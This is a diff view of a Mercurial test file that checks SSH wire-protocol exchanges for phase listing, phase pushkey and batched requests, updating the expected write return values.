1882 o> c4750011d906c18ea2f0527419cbc1a544435150 1\n
1883 o> publishing True
1883 o> publishing True
1884 response: c4750011d906c18ea2f0527419cbc1a544435150 1\npublishing True
1884 response: c4750011d906c18ea2f0527419cbc1a544435150 1\npublishing True
1885
1885
1886 All public heads
1886 All public heads
1887
1887
1888 $ hg phase --public -r 4
1888 $ hg phase --public -r 4
1889 $ debugwireproto << EOF
1889 $ debugwireproto << EOF
1890 > command listkeys
1890 > command listkeys
1891 > namespace phases
1891 > namespace phases
1892 > EOF
1892 > EOF
1893 testing ssh1
1893 testing ssh1
1894 creating ssh peer from handshake results
1894 creating ssh peer from handshake results
1895 i> write(104) -> None:
1895 i> write(104) -> 104:
1896 i> hello\n
1896 i> hello\n
1897 i> between\n
1897 i> between\n
1898 i> pairs 81\n
1898 i> pairs 81\n
1899 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1899 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1900 i> flush() -> None
1900 i> flush() -> None
1901 o> readline() -> 4:
1901 o> readline() -> 4:
1902 o> 384\n
1902 o> 384\n
1903 o> readline() -> 384:
1903 o> readline() -> 384:
1904 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1904 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1905 o> readline() -> 2:
1905 o> readline() -> 2:
1906 o> 1\n
1906 o> 1\n
1907 o> readline() -> 1:
1907 o> readline() -> 1:
1908 o> \n
1908 o> \n
1909 sending listkeys command
1909 sending listkeys command
1910 i> write(9) -> None:
1910 i> write(9) -> 9:
1911 i> listkeys\n
1911 i> listkeys\n
1912 i> write(12) -> None:
1912 i> write(12) -> 12:
1913 i> namespace 6\n
1913 i> namespace 6\n
1914 i> write(6) -> None: phases
1914 i> write(6) -> 6: phases
1915 i> flush() -> None
1915 i> flush() -> None
1916 o> bufferedreadline() -> 3:
1916 o> bufferedreadline() -> 3:
1917 o> 15\n
1917 o> 15\n
1918 o> bufferedread(15) -> 15: publishing True
1918 o> bufferedread(15) -> 15: publishing True
1919 response: publishing True
1919 response: publishing True
1920
1920
1921 testing ssh2
1921 testing ssh2
1922 creating ssh peer from handshake results
1922 creating ssh peer from handshake results
1923 i> write(171) -> None:
1923 i> write(171) -> 171:
1924 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1924 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1925 i> hello\n
1925 i> hello\n
1926 i> between\n
1926 i> between\n
1927 i> pairs 81\n
1927 i> pairs 81\n
1928 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1928 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1929 i> flush() -> None
1929 i> flush() -> None
1930 o> readline() -> 62:
1930 o> readline() -> 62:
1931 o> upgraded * exp-ssh-v2-0001\n (glob)
1931 o> upgraded * exp-ssh-v2-0001\n (glob)
1932 o> readline() -> 4:
1932 o> readline() -> 4:
1933 o> 383\n
1933 o> 383\n
1934 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1934 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1935 o> read(1) -> 1:
1935 o> read(1) -> 1:
1936 o> \n
1936 o> \n
1937 sending listkeys command
1937 sending listkeys command
1938 i> write(9) -> None:
1938 i> write(9) -> 9:
1939 i> listkeys\n
1939 i> listkeys\n
1940 i> write(12) -> None:
1940 i> write(12) -> 12:
1941 i> namespace 6\n
1941 i> namespace 6\n
1942 i> write(6) -> None: phases
1942 i> write(6) -> 6: phases
1943 i> flush() -> None
1943 i> flush() -> None
1944 o> bufferedreadline() -> 3:
1944 o> bufferedreadline() -> 3:
1945 o> 15\n
1945 o> 15\n
1946 o> bufferedread(15) -> 15: publishing True
1946 o> bufferedread(15) -> 15: publishing True
1947 response: publishing True
1947 response: publishing True
1948
1948
1949 Setting public phase via pushkey
1949 Setting public phase via pushkey
1950
1950
1951 $ hg phase --draft --force -r .
1951 $ hg phase --draft --force -r .
1952
1952
1953 $ debugwireproto << EOF
1953 $ debugwireproto << EOF
1954 > command pushkey
1954 > command pushkey
1955 > namespace phases
1955 > namespace phases
1956 > key 7127240a084fd9dc86fe8d1f98e26229161ec82b
1956 > key 7127240a084fd9dc86fe8d1f98e26229161ec82b
1957 > old 1
1957 > old 1
1958 > new 0
1958 > new 0
1959 > EOF
1959 > EOF
1960 testing ssh1
1960 testing ssh1
1961 creating ssh peer from handshake results
1961 creating ssh peer from handshake results
1962 i> write(104) -> None:
1962 i> write(104) -> 104:
1963 i> hello\n
1963 i> hello\n
1964 i> between\n
1964 i> between\n
1965 i> pairs 81\n
1965 i> pairs 81\n
1966 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1966 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1967 i> flush() -> None
1967 i> flush() -> None
1968 o> readline() -> 4:
1968 o> readline() -> 4:
1969 o> 384\n
1969 o> 384\n
1970 o> readline() -> 384:
1970 o> readline() -> 384:
1971 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1971 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1972 o> readline() -> 2:
1972 o> readline() -> 2:
1973 o> 1\n
1973 o> 1\n
1974 o> readline() -> 1:
1974 o> readline() -> 1:
1975 o> \n
1975 o> \n
1976 sending pushkey command
1976 sending pushkey command
1977 i> write(8) -> None:
1977 i> write(8) -> 8:
1978 i> pushkey\n
1978 i> pushkey\n
1979 i> write(7) -> None:
1979 i> write(7) -> 7:
1980 i> key 40\n
1980 i> key 40\n
1981 i> write(40) -> None: 7127240a084fd9dc86fe8d1f98e26229161ec82b
1981 i> write(40) -> 40: 7127240a084fd9dc86fe8d1f98e26229161ec82b
1982 i> write(12) -> None:
1982 i> write(12) -> 12:
1983 i> namespace 6\n
1983 i> namespace 6\n
1984 i> write(6) -> None: phases
1984 i> write(6) -> 6: phases
1985 i> write(6) -> None:
1985 i> write(6) -> 6:
1986 i> new 1\n
1986 i> new 1\n
1987 i> write(1) -> None: 0
1987 i> write(1) -> 1: 0
1988 i> write(6) -> None:
1988 i> write(6) -> 6:
1989 i> old 1\n
1989 i> old 1\n
1990 i> write(1) -> None: 1
1990 i> write(1) -> 1: 1
1991 i> flush() -> None
1991 i> flush() -> None
1992 o> bufferedreadline() -> 2:
1992 o> bufferedreadline() -> 2:
1993 o> 2\n
1993 o> 2\n
1994 o> bufferedread(2) -> 2:
1994 o> bufferedread(2) -> 2:
1995 o> 1\n
1995 o> 1\n
1996 response: 1\n
1996 response: 1\n
1997
1997
1998 testing ssh2
1998 testing ssh2
1999 creating ssh peer from handshake results
1999 creating ssh peer from handshake results
2000 i> write(171) -> None:
2000 i> write(171) -> 171:
2001 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
2001 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
2002 i> hello\n
2002 i> hello\n
2003 i> between\n
2003 i> between\n
2004 i> pairs 81\n
2004 i> pairs 81\n
2005 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
2005 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
2006 i> flush() -> None
2006 i> flush() -> None
2007 o> readline() -> 62:
2007 o> readline() -> 62:
2008 o> upgraded * exp-ssh-v2-0001\n (glob)
2008 o> upgraded * exp-ssh-v2-0001\n (glob)
2009 o> readline() -> 4:
2009 o> readline() -> 4:
2010 o> 383\n
2010 o> 383\n
2011 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
2011 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
2012 o> read(1) -> 1:
2012 o> read(1) -> 1:
2013 o> \n
2013 o> \n
2014 sending pushkey command
2014 sending pushkey command
2015 i> write(8) -> None:
2015 i> write(8) -> 8:
2016 i> pushkey\n
2016 i> pushkey\n
2017 i> write(7) -> None:
2017 i> write(7) -> 7:
2018 i> key 40\n
2018 i> key 40\n
2019 i> write(40) -> None: 7127240a084fd9dc86fe8d1f98e26229161ec82b
2019 i> write(40) -> 40: 7127240a084fd9dc86fe8d1f98e26229161ec82b
2020 i> write(12) -> None:
2020 i> write(12) -> 12:
2021 i> namespace 6\n
2021 i> namespace 6\n
2022 i> write(6) -> None: phases
2022 i> write(6) -> 6: phases
2023 i> write(6) -> None:
2023 i> write(6) -> 6:
2024 i> new 1\n
2024 i> new 1\n
2025 i> write(1) -> None: 0
2025 i> write(1) -> 1: 0
2026 i> write(6) -> None:
2026 i> write(6) -> 6:
2027 i> old 1\n
2027 i> old 1\n
2028 i> write(1) -> None: 1
2028 i> write(1) -> 1: 1
2029 i> flush() -> None
2029 i> flush() -> None
2030 o> bufferedreadline() -> 2:
2030 o> bufferedreadline() -> 2:
2031 o> 2\n
2031 o> 2\n
2032 o> bufferedread(2) -> 2:
2032 o> bufferedread(2) -> 2:
2033 o> 1\n
2033 o> 1\n
2034 response: 1\n
2034 response: 1\n
2035
2035
2036 $ hg phase .
2036 $ hg phase .
2037 4: public
2037 4: public
2038
2038
2039 $ cd ..
2039 $ cd ..
2040
2040
2041 Test batching of requests
2041 Test batching of requests
2042
2042
2043 $ hg init batching
2043 $ hg init batching
2044 $ cd batching
2044 $ cd batching
2045 $ echo 0 > foo
2045 $ echo 0 > foo
2046 $ hg add foo
2046 $ hg add foo
2047 $ hg -q commit -m initial
2047 $ hg -q commit -m initial
2048 $ hg phase --public
2048 $ hg phase --public
2049 $ echo 1 > foo
2049 $ echo 1 > foo
2050 $ hg commit -m 'commit 1'
2050 $ hg commit -m 'commit 1'
2051 $ hg -q up 0
2051 $ hg -q up 0
2052 $ echo 2 > foo
2052 $ echo 2 > foo
2053 $ hg commit -m 'commit 2'
2053 $ hg commit -m 'commit 2'
2054 created new head
2054 created new head
2055 $ hg book -r 1 bookA
2055 $ hg book -r 1 bookA
2056 $ hg book -r 2 bookB
2056 $ hg book -r 2 bookB
2057
2057
2058 $ debugwireproto << EOF
2058 $ debugwireproto << EOF
2059 > batchbegin
2059 > batchbegin
2060 > command heads
2060 > command heads
2061 > command listkeys
2061 > command listkeys
2062 > namespace bookmarks
2062 > namespace bookmarks
2063 > command listkeys
2063 > command listkeys
2064 > namespace phases
2064 > namespace phases
2065 > batchsubmit
2065 > batchsubmit
2066 > EOF
2066 > EOF
2067 testing ssh1
2067 testing ssh1
2068 creating ssh peer from handshake results
2068 creating ssh peer from handshake results
2069 i> write(104) -> None:
2069 i> write(104) -> 104:
2070 i> hello\n
2070 i> hello\n
2071 i> between\n
2071 i> between\n
2072 i> pairs 81\n
2072 i> pairs 81\n
2073 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
2073 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
2074 i> flush() -> None
2074 i> flush() -> None
2075 o> readline() -> 4:
2075 o> readline() -> 4:
2076 o> 384\n
2076 o> 384\n
2077 o> readline() -> 384:
2077 o> readline() -> 384:
2078 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
2078 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
2079 o> readline() -> 2:
2079 o> readline() -> 2:
2080 o> 1\n
2080 o> 1\n
2081 o> readline() -> 1:
2081 o> readline() -> 1:
2082 o> \n
2082 o> \n
2083 sending batch with 3 sub-commands
2083 sending batch with 3 sub-commands
2084 i> write(6) -> None:
2084 i> write(6) -> 6:
2085 i> batch\n
2085 i> batch\n
2086 i> write(4) -> None:
2086 i> write(4) -> 4:
2087 i> * 0\n
2087 i> * 0\n
2088 i> write(8) -> None:
2088 i> write(8) -> 8:
2089 i> cmds 61\n
2089 i> cmds 61\n
2090 i> write(61) -> None: heads ;listkeys namespace=bookmarks;listkeys namespace=phases
2090 i> write(61) -> 61: heads ;listkeys namespace=bookmarks;listkeys namespace=phases
2091 i> flush() -> None
2091 i> flush() -> None
2092 o> bufferedreadline() -> 4:
2092 o> bufferedreadline() -> 4:
2093 o> 278\n
2093 o> 278\n
2094 o> bufferedread(278) -> 278:
2094 o> bufferedread(278) -> 278:
2095 o> bfebe6bd38eebc6f8202e419c1171268987ea6a6 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n
2095 o> bfebe6bd38eebc6f8202e419c1171268987ea6a6 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n
2096 o> ;bookA 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n
2096 o> ;bookA 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n
2097 o> bookB bfebe6bd38eebc6f8202e419c1171268987ea6a6;4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab 1\n
2097 o> bookB bfebe6bd38eebc6f8202e419c1171268987ea6a6;4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab 1\n
2098 o> bfebe6bd38eebc6f8202e419c1171268987ea6a6 1\n
2098 o> bfebe6bd38eebc6f8202e419c1171268987ea6a6 1\n
2099 o> publishing True
2099 o> publishing True
2100 response #0: bfebe6bd38eebc6f8202e419c1171268987ea6a6 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n
2100 response #0: bfebe6bd38eebc6f8202e419c1171268987ea6a6 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n
2101 response #1: bookA 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\nbookB bfebe6bd38eebc6f8202e419c1171268987ea6a6
2101 response #1: bookA 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\nbookB bfebe6bd38eebc6f8202e419c1171268987ea6a6
2102 response #2: 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab 1\nbfebe6bd38eebc6f8202e419c1171268987ea6a6 1\npublishing True
2102 response #2: 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab 1\nbfebe6bd38eebc6f8202e419c1171268987ea6a6 1\npublishing True
2103
2103
2104 testing ssh2
2104 testing ssh2
2105 creating ssh peer from handshake results
2105 creating ssh peer from handshake results
2106 i> write(171) -> None:
2106 i> write(171) -> 171:
2107 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
2107 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
2108 i> hello\n
2108 i> hello\n
2109 i> between\n
2109 i> between\n
2110 i> pairs 81\n
2110 i> pairs 81\n
2111 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
2111 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
2112 i> flush() -> None
2112 i> flush() -> None
2113 o> readline() -> 62:
2113 o> readline() -> 62:
2114 o> upgraded * exp-ssh-v2-0001\n (glob)
2114 o> upgraded * exp-ssh-v2-0001\n (glob)
2115 o> readline() -> 4:
2115 o> readline() -> 4:
2116 o> 383\n
2116 o> 383\n
2117 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
2117 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
2118 o> read(1) -> 1:
2118 o> read(1) -> 1:
2119 o> \n
2119 o> \n
2120 sending batch with 3 sub-commands
2120 sending batch with 3 sub-commands
2121 i> write(6) -> None:
2121 i> write(6) -> 6:
2122 i> batch\n
2122 i> batch\n
2123 i> write(4) -> None:
2123 i> write(4) -> 4:
2124 i> * 0\n
2124 i> * 0\n
2125 i> write(8) -> None:
2125 i> write(8) -> 8:
2126 i> cmds 61\n
2126 i> cmds 61\n
2127 i> write(61) -> None: heads ;listkeys namespace=bookmarks;listkeys namespace=phases
2127 i> write(61) -> 61: heads ;listkeys namespace=bookmarks;listkeys namespace=phases
2128 i> flush() -> None
2128 i> flush() -> None
2129 o> bufferedreadline() -> 4:
2129 o> bufferedreadline() -> 4:
2130 o> 278\n
2130 o> 278\n
2131 o> bufferedread(278) -> 278:
2131 o> bufferedread(278) -> 278:
2132 o> bfebe6bd38eebc6f8202e419c1171268987ea6a6 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n
2132 o> bfebe6bd38eebc6f8202e419c1171268987ea6a6 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n
2133 o> ;bookA 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n
2133 o> ;bookA 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n
2134 o> bookB bfebe6bd38eebc6f8202e419c1171268987ea6a6;4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab 1\n
2134 o> bookB bfebe6bd38eebc6f8202e419c1171268987ea6a6;4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab 1\n
2135 o> bfebe6bd38eebc6f8202e419c1171268987ea6a6 1\n
2135 o> bfebe6bd38eebc6f8202e419c1171268987ea6a6 1\n
2136 o> publishing True
2136 o> publishing True
2137 response #0: bfebe6bd38eebc6f8202e419c1171268987ea6a6 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n
2137 response #0: bfebe6bd38eebc6f8202e419c1171268987ea6a6 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n
2138 response #1: bookA 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\nbookB bfebe6bd38eebc6f8202e419c1171268987ea6a6
2138 response #1: bookA 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\nbookB bfebe6bd38eebc6f8202e419c1171268987ea6a6
2139 response #2: 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab 1\nbfebe6bd38eebc6f8202e419c1171268987ea6a6 1\npublishing True
2139 response #2: 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab 1\nbfebe6bd38eebc6f8202e419c1171268987ea6a6 1\npublishing True
General Comments 0
You need to be logged in to leave comments. Login now